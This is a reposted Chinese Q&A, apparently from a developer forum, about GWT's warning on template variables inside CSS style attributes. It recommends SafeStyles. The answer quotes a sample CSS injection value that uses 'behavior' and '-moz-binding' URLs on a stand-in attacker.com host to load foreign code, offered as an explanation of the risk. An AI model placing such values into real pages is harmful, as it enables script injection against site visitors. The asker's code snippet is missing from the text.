微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

GWT“CSS属性上下文中带变量的模板”警告不好?

我使用混淆的风格,例如.

    

这是不好的做法吗?

当我查看HTML时看起来没问题,或者我误解了警告..

我在GWT的开发模式中收到以下警告:

Template with variable in CSS attribute context: 
The template code generator cannot guarantee HTML-safety of the template
 -- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
最佳答案
class不是“CSS属性上下文”,只有style是(和< style>);所以我怀疑这个警告来自你展示的代码(这正是事情的用法,所以根本不是一个糟糕的做法).

当你有style =’width:{foo}; height:{bar}’,因为没有保证(在编译时)foo或bar不会包含100%的内容;行为:网址(http://attacker.com/injection.htc); -moz-binding:url(http://attacker.com/injection.xbl).在这种情况下,您应该使用style ='{myStyle}’,其中myStyle是SafeStyles的一个实例.

原文地址:https://www.jb51.cc/css/427298.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。